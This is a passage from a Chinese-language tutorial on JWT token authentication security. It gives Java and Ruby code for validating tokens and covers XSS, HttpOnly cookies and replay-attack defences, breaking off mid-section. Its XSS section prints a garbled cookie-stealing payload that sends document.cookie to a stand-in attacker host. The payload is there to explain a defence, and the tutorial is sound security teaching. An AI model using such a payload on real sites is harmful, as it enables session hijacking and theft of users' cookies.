解码和验证Token码
import javax.xml.bind.DatatypeConverter; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.Claims; //Sample method to validate and read the JWT private void parseJWT(String jwt) { //This line will throw an exception if it is not a signed JWS (as expected) Claims claims = Jwts.parser() .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret())) .parseClaimsJws(jwt).getBody(); System.out.println("ID: " + claims.getId()); System.out.println("Subject: " + claims.getSubject()); System.out.println("Issuer: " + claims.getIssuer()); System.out.println("Expiration: " + claims.getExpiration()); } 基于JWT的Token认证的安全问题 确保验证过程的安全性如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。
如何防范XSS Attacks浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:
<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’ +document.cookie;return a}())"这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?
移除任何会导致浏览器做非预期执行的代码,这个可以采用一些库来实现(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是将用户提交的字符串存储到数据库的话(也针对SQL注入攻击),你需要在前端和服务端分别做过滤;
通过设置Cookie的参数: HttpOnly; Secure 来防止通过JavaScript 来访问Cookie;
如何在Java中设置cookie是HttpOnly呢?
Servlet 2.5 API 不支持 cookie设置HttpOnly
建议升级Tomcat7.0,它已经实现了Servlet3.0
或者通过这样来设置:
在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;
如何防范Replay Attacks所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
针对这种情况,有几种常用做法可以用作参考:
1、时间戳 +共享秘钥
这种方案,客户端和服务端都需要知道:
客户端
auth_header = JWT.encode({ user_id: 123, iat: Time.now.to_i, # 指定token发布时间 exp: Time.now.to_i + 2 # 指定token过期时间为2秒后,2秒时间足够一次HTTP请求,同时在一定程度确保上一次token过期,减少replay attack的概率; }, "<my shared secret>") RestClient.get("", authorization: auth_header)服务端
class ApiController < ActionController::Base attr_reader :current_user before_action :set_current_user_from_jwt_token def set_current_user_from_jwt_token # Step 1:解码JWT,并获取User ID,这个时候不对Token签名进行检查 # the signature. Note JWT tokens are *not* encrypted, but signed. payload = JWT.decode(request.authorization, nil, false) # Step 2: 检查该用户是否存在于数据库 @current_user = User.find(payload['user_id']) # Step 3: 检查Token签名是否正确. JWT.decode(request.authorization, current_user.api_secret) # Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的. now = Time.now.to_i if payload['iat'] > now || payload['exp'] < now # 如果过期则返回401 end rescue JWT::DecodeError # 返回 401 end end2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)
客户端